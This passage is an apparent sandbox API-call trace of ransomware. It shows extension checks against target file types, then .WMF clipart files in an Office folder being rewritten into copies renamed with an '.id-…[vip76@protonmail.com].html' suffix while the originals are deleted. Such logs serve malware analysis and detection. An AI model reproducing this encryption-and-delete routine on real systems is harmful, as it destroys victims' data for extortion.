	[0176.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.074] lstrlenW (lpString=".zip") returned 4
	[0176.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.074] lstrlenW (lpString=".rar") returned 4
	[0176.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString=".bz2") returned 4
	[0176.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString=".7z") returned 3
	[0176.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.074] lstrlenW (lpString=".dbf") returned 4
	[0176.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.074] lstrlenW (lpString=".1cd") returned 4
	[0176.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.074] lstrlenW (lpString=".jpg") returned 4
	[0176.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.075] lstrlenW (lpString=".doc") returned 4
	[0176.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString=".docx") returned 5
	[0176.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.075] lstrlenW (lpString=".pdf") returned 4
	[0176.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString=".xls") returned 4
	[0176.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.075] lstrlenW (lpString=".xlsx") returned 5
	[0176.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.075] lstrlenW (lpString=".ppt") returned 4
	[0176.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.075] lstrlenW (lpString=".zip") returned 4
	[0176.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.075] lstrlenW (lpString=".rar") returned 4
	[0176.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString=".bz2") returned 4
	[0176.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString=".7z") returned 3
	[0176.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.075] lstrlenW (lpString=".dbf") returned 4
	[0176.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.075] lstrlenW (lpString=".1cd") returned 4
	[0176.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0176.075] lstrlenW (lpString=".jpg") returned 4
	[0176.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.076] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.076] lstrlenW (lpString="HH00612_.WMF") returned 12
	[0176.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.604] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=12632) returned 1
	[0176.604] CloseHandle (hObject=0x5b4) returned 1
	[0176.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220
	[0176.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.605] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.606] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.607] GetLastError () returned 0x0
	[0176.607] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3158, lpOverlapped=0x0) returned 1
	[0176.610] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3160, lpOverlapped=0x0) returned 1
	[0176.611] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.611] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.611] SetEndOfFile (hFile=0x590) returned 1
	[0176.611] CloseHandle (hObject=0x590) returned 1
	[0176.611] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.611] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.614] CloseHandle (hObject=0x5b4) returned 1
	[0176.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1
	[0176.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.616] lstrlenW (lpString=".doc") returned 4
	[0176.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString=".docx") returned 5
	[0176.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.616] lstrlenW (lpString=".pdf") returned 4
	[0176.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString=".xls") returned 4
	[0176.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.616] lstrlenW (lpString=".xlsx") returned 5
	[0176.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.616] lstrlenW (lpString=".ppt") returned 4
	[0176.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.616] lstrlenW (lpString=".zip") returned 4
	[0176.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.616] lstrlenW (lpString=".rar") returned 4
	[0176.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString=".bz2") returned 4
	[0176.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString=".7z") returned 3
	[0176.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.616] lstrlenW (lpString=".dbf") returned 4
	[0176.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.616] lstrlenW (lpString=".1cd") returned 4
	[0176.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.616] lstrlenW (lpString=".jpg") returned 4
	[0176.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.617] lstrlenW (lpString=".doc") returned 4
	[0176.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString=".docx") returned 5
	[0176.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.617] lstrlenW (lpString=".pdf") returned 4
	[0176.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString=".xls") returned 4
	[0176.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.617] lstrlenW (lpString=".xlsx") returned 5
	[0176.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.617] lstrlenW (lpString=".ppt") returned 4
	[0176.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.617] lstrlenW (lpString=".zip") returned 4
	[0176.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.617] lstrlenW (lpString=".rar") returned 4
	[0176.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString=".bz2") returned 4
	[0176.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString=".7z") returned 3
	[0176.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.617] lstrlenW (lpString=".dbf") returned 4
	[0176.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.617] lstrlenW (lpString=".1cd") returned 4
	[0176.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0176.617] lstrlenW (lpString=".jpg") returned 4
	[0176.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.618] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.618] lstrlenW (lpString="HH00669_.WMF") returned 12
	[0176.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.619] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11490) returned 1
	[0176.619] CloseHandle (hObject=0x5b4) returned 1
	[0176.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220
	[0176.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.620] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.620] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.620] GetLastError () returned 0x0
	[0176.620] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2ce2, lpOverlapped=0x0) returned 1
	[0176.625] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0176.626] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.626] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.626] SetEndOfFile (hFile=0x590) returned 1
	[0176.626] CloseHandle (hObject=0x590) returned 1
	[0176.626] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.627] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.629] CloseHandle (hObject=0x5b4) returned 1
	[0176.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1
	[0176.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.630] lstrlenW (lpString=".doc") returned 4
	[0176.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.630] lstrlenW (lpString=".docx") returned 5
	[0176.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.630] lstrlenW (lpString=".pdf") returned 4
	[0176.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString=".xls") returned 4
	[0176.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.631] lstrlenW (lpString=".xlsx") returned 5
	[0176.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.631] lstrlenW (lpString=".ppt") returned 4
	[0176.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.631] lstrlenW (lpString=".zip") returned 4
	[0176.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.631] lstrlenW (lpString=".rar") returned 4
	[0176.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString=".bz2") returned 4
	[0176.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString=".7z") returned 3
	[0176.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.631] lstrlenW (lpString=".dbf") returned 4
	[0176.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.631] lstrlenW (lpString=".1cd") returned 4
	[0176.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.631] lstrlenW (lpString=".jpg") returned 4
	[0176.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.631] lstrlenW (lpString=".doc") returned 4
	[0176.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.631] lstrlenW (lpString=".docx") returned 5
	[0176.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.632] lstrlenW (lpString=".pdf") returned 4
	[0176.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.632] lstrlenW (lpString=".xls") returned 4
	[0176.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.632] lstrlenW (lpString=".xlsx") returned 5
	[0176.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.632] lstrlenW (lpString=".ppt") returned 4
	[0176.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.632] lstrlenW (lpString=".zip") returned 4
	[0176.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.632] lstrlenW (lpString=".rar") returned 4
	[0176.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.632] lstrlenW (lpString=".bz2") returned 4
	[0176.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.632] lstrlenW (lpString=".7z") returned 3
	[0176.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.632] lstrlenW (lpString=".dbf") returned 4
	[0176.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.632] lstrlenW (lpString=".1cd") returned 4
	[0176.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0176.632] lstrlenW (lpString=".jpg") returned 4
	[0176.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.632] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.632] lstrlenW (lpString="HH00681_.WMF") returned 12
	[0176.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.633] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=9300) returned 1
	[0176.633] CloseHandle (hObject=0x5b4) returned 1
	[0176.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220
	[0176.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.634] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.634] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.635] GetLastError () returned 0x0
	[0176.635] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2454, lpOverlapped=0x0) returned 1
	[0176.870] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0176.871] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.871] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.871] SetEndOfFile (hFile=0x590) returned 1
	[0176.871] CloseHandle (hObject=0x590) returned 1
	[0176.872] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.872] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.065] CloseHandle (hObject=0x5b4) returned 1
	[0177.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1
	[0177.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.750] lstrlenW (lpString=".doc") returned 4
	[0177.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.750] lstrlenW (lpString=".docx") returned 5
	[0177.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.750] lstrlenW (lpString=".pdf") returned 4
	[0177.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.750] lstrlenW (lpString=".xls") returned 4
	[0177.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.750] lstrlenW (lpString=".xlsx") returned 5
